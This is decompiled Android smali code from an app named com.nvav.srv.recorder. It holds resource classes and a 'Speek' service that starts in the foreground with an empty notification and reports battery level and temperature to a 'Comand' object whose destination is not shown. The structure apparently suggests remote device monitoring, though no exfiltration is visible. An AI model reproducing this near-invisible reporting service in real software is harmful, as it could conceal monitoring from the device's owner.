value = Lcom/nvav/srv/recorder/R;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x19
name = "layout"
.end annotation
# static fields
.field public static final activity:I = 0x7f040000
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,27 @@
.class public final Lcom/nvav/srv/recorder/R$menu;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/R;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x19
name = "menu"
.end annotation
# static fields
.field public static final main:I = 0x7f050000
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,27 @@
.class public final Lcom/nvav/srv/recorder/R$mipmap;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/R;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x19
name = "mipmap"
.end annotation
# static fields
.field public static final ic_launcher:I = 0x7f060000
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,29 @@
.class public final Lcom/nvav/srv/recorder/R$string;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/R;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x19
name = "string"
.end annotation
# static fields
.field public static final app_name:I = 0x7f070000
.field public static final notification_description:I = 0x7f070001
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,27 @@
.class public final Lcom/nvav/srv/recorder/R$xml;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/R;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x19
name = "xml"
.end annotation
# static fields
.field public static final file_paths:I = 0x7f080000
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,27 @@
.class public final Lcom/nvav/srv/recorder/R;
.super Ljava/lang/Object;
# annotations
.annotation system Ldalvik/annotation/MemberClasses;
value = {
Lcom/nvav/srv/recorder/R$drawable;,
Lcom/nvav/srv/recorder/R$id;,
Lcom/nvav/srv/recorder/R$integer;,
Lcom/nvav/srv/recorder/R$layout;,
Lcom/nvav/srv/recorder/R$menu;,
Lcom/nvav/srv/recorder/R$mipmap;,
Lcom/nvav/srv/recorder/R$string;,
Lcom/nvav/srv/recorder/R$xml;
}
.end annotation
# direct methods
.method private constructor <init>()V
.locals 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

View File

@@ -0,0 +1,100 @@
.class Lcom/nvav/srv/recorder/Speek$1;
.super Landroid/content/BroadcastReceiver;
.source "Speek.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/Speek;->onCreate()V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/Speek;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/Speek;)V
.locals 0
.line 32
iput-object p1, p0, Lcom/nvav/srv/recorder/Speek$1;->this$0:Lcom/nvav/srv/recorder/Speek;
invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
return-void
.end method
# virtual methods
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 5
.line 42
iget-object p1, p0, Lcom/nvav/srv/recorder/Speek$1;->this$0:Lcom/nvav/srv/recorder/Speek;
iget-object p1, p1, Lcom/nvav/srv/recorder/Speek;->comand:Lcom/nvav/srv/recorder/Comand;
.line 43
const-string v0, "scale"
const/4 v1, 0x0
invoke-virtual {p2, v0, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
move-result v0
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v0
const-string v2, "level"
.line 44
invoke-virtual {p2, v2, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
move-result v2
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v2
const-string v3, "temperature"
.line 45
invoke-virtual {p2, v3, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
move-result p2
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object p2
const-wide/16 v3, 0x0
.line 46
invoke-static {v3, v4}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v1
.line 47
filled-new-array {v0, v2, p2, v1, v1}, [Ljava/lang/Object;
move-result-object p2
.line 42
const-string v0, "battery=%d=%d=%d=%f=%f"
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p2
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method

View File

@@ -0,0 +1,169 @@
.class public Lcom/nvav/srv/recorder/Speek;
.super Landroid/app/Service;
.source "Speek.java"
# instance fields
.field comand:Lcom/nvav/srv/recorder/Comand;
.field public resultReceiver:Landroid/os/ResultReceiver;
# direct methods
.method public constructor <init>()V
.locals 1
.line 15
invoke-direct {p0}, Landroid/app/Service;-><init>()V
const/4 v0, 0x0
.line 16
iput-object v0, p0, Lcom/nvav/srv/recorder/Speek;->resultReceiver:Landroid/os/ResultReceiver;
return-void
.end method
# virtual methods
.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
.locals 0
const/4 p1, 0x0
return-object p1
.end method
.method public onCreate()V
.locals 3
.line 30
new-instance v0, Landroid/app/Notification;
invoke-direct {v0}, Landroid/app/Notification;-><init>()V
const/16 v1, 0x1412
.line 31
invoke-virtual {p0, v1, v0}, Lcom/nvav/srv/recorder/Speek;->startForeground(ILandroid/app/Notification;)V
.line 32
new-instance v0, Lcom/nvav/srv/recorder/Speek$1;
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/Speek$1;-><init>(Lcom/nvav/srv/recorder/Speek;)V
new-instance v1, Landroid/content/IntentFilter;
const-string v2, "android.intent.action.BATTERY_CHANGED"
invoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
invoke-virtual {p0, v0, v1}, Lcom/nvav/srv/recorder/Speek;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
.line 51
new-instance v0, Lcom/nvav/srv/recorder/Comand;
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/Comand;-><init>(Lcom/nvav/srv/recorder/Speek;)V
iput-object v0, p0, Lcom/nvav/srv/recorder/Speek;->comand:Lcom/nvav/srv/recorder/Comand;
.line 52
invoke-virtual {v0}, Lcom/nvav/srv/recorder/Comand;->start()V
return-void
.end method
.method public onDestroy()V
.locals 1
.line 57
invoke-super {p0}, Landroid/app/Service;->onDestroy()V
.line 58
iget-object v0, p0, Lcom/nvav/srv/recorder/Speek;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0}, Lcom/nvav/srv/recorder/Comand;->Close()V
const/4 v0, 0x1
.line 59
invoke-virtual {p0, v0}, Lcom/nvav/srv/recorder/Speek;->stopForeground(Z)V
.line 60
invoke-virtual {p0}, Lcom/nvav/srv/recorder/Speek;->stopSelf()V
return-void
.end method
.method public onStartCommand(Landroid/content/Intent;II)I
.locals 0
.line 66
:try_start_0
iget-object p2, p0, Lcom/nvav/srv/recorder/Speek;->resultReceiver:Landroid/os/ResultReceiver;
if-nez p2, :cond_0
const-string p2, "reciver"
invoke-virtual {p1, p2}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;
move-result-object p1
check-cast p1, Landroid/os/ResultReceiver;
iput-object p1, p0, Lcom/nvav/srv/recorder/Speek;->resultReceiver:Landroid/os/ResultReceiver;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception p1
.line 68
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
:cond_0
:goto_0
const/4 p1, 0x1
return p1
.end method
.method public onUnbind(Landroid/content/Intent;)Z
.locals 0
.line 26
invoke-super {p0, p1}, Landroid/app/Service;->onUnbind(Landroid/content/Intent;)Z
move-result p1
return p1
.end method
.method public send_status(I)V
.locals 2
.line 75
new-instance v0, Landroid/os/Bundle;
invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
.line 76
const-string v1, "status"
invoke-virtual {v0, v1, p1}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
.line 77
iget-object p1, p0, Lcom/nvav/srv/recorder/Speek;->resultReceiver:Landroid/os/ResultReceiver;
if-eqz p1, :cond_0
const/16 v1, 0x64
invoke-virtual {p1, v1, v0}, Landroid/os/ResultReceiver;->send(ILandroid/os/Bundle;)V
:cond_0
return-void
.end method